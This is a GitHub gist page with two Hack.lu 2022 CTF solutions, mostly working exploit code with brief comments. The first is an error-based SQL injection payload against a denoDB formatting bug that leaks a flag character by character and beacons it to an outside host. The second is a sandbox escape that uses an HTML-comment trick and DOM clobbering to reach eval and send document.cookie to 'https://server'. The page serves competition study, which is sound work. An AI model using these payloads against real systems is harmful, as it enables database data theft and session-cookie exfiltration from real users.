Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active November 6, 2022 22:11
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save terjanq/1926a1afb420bd98ac7b97031e377436 to your computer and use it in GitHub Desktop.
Save terjanq/1926a1afb420bd98ac7b97031e377436 to your computer and use it in GitHub Desktop.
Hack.lu 2022 CTF solutions
<!--
This was an SQL injection challenge where the goal was to find a 0day in denoDB library.
The bug we found was that `?` inside column name would confuse the formatters and would insert there values.
-->
<script>
HOST_URL = (new URL(location)).searchParams.get('host_url') || 'https://0.0.0.0/api/food/1'
PING_URL = 'https://server';
let alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~';
// alph = 'bfa';
function m_payload(pos, char){
const h_char = char.charCodeAt(0).toString(16);
// error based sql injection
// `'` in () does not throw unknown column error which was crucial part of the payload
const payload = `\`in() UNION select 1, CASE substr(flag, ${pos}, 1) WHEN char(0x${h_char}) THEN 1 ELSE abs(-9223372036854775808) END FROM flag;`;
// when column name contains ? then the next value will be appended to it
// /??=` in () gets translated to: `'` in () `
return `${HOST_URL}??=${encodeURIComponent(payload)}`;
}
let flag = '';
navigator.sendBeacon(PING_URL, 'start');
async function leak_char(pos){
for(let c of alph){
const x = document.createElement('script');
x.src = m_payload(pos, c);
document.head.appendChild(x);
let notfound = false;
await new Promise(resolve => {
delete window.SqliteError;
// If there are results the page returns an array of jsons which is valid JS
// If not, then SqliteError is returned which is also a valid JS
// I am defining SqliteErrorr getter to see if the script tries to access it
Object.defineProperty(window, 'SqliteError', {
get: ()=>{
notfound = true;
resolve();
},
configurable: true
});
x.onload = resolve;
});
if(notfound === false){
return c;
}
}
}
(async () => {
for(let pos = 1; pos < 100; pos++){
const c = await leak_char(pos);
if(c !== undefined) {
flag += c;
console.log(flag);
navigator.sendBeacon(PING_URL, flag)
}
}
})();
</script>
<!--
This was a sandboxing challenge where the JS language is presenteded in the form of exotic, made-up language.
It's almost properly sandboxed but there is one bug that players needed to find.
The bug I found was to construct HTML comment (<!--) that is understood by JS and which makes it possible to ignore one semicolon
and then to concat array expression with variable name, like $var$['eval']. To get reference to eval we used DOM clobbering
and defined <iframe name=$win$>
-->
<iframe name=$win$></iframe>
<x-program>
<x-if>
<x-num>1</x-num>
<x-const>
<x-identifier>test</x-identifier>
<x-lt>
<x-identifier>win</x-identifier>
<x-not><x-dec>
<x-identifier>asd</x-identifier>
</x-dec></x-not>
</x-lt>
</x-const>
<x-array>
<x-str>eval</x-str>
</x-array>
<x-call>
<x-identifier>test</x-identifier>
<x-str>top.location='https://server/?c='+document.cookie</x-str>
</x-call>
</x-if>
</x-program>
<!-- compiles to:
const write = (s) => alert(s);
const read = (s) => prompt(s);
if(1){
const $test$=$win$<!--$asd$;
["eval"];
($test$)("alert(1337)");
};
-->
<!-- which is equivalent to
const write = (s) => alert(s);
const read = (s) => prompt(s);
if(1){
const $test$=$win$["eval"];
($test$)("alert(1337)");
};
-->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment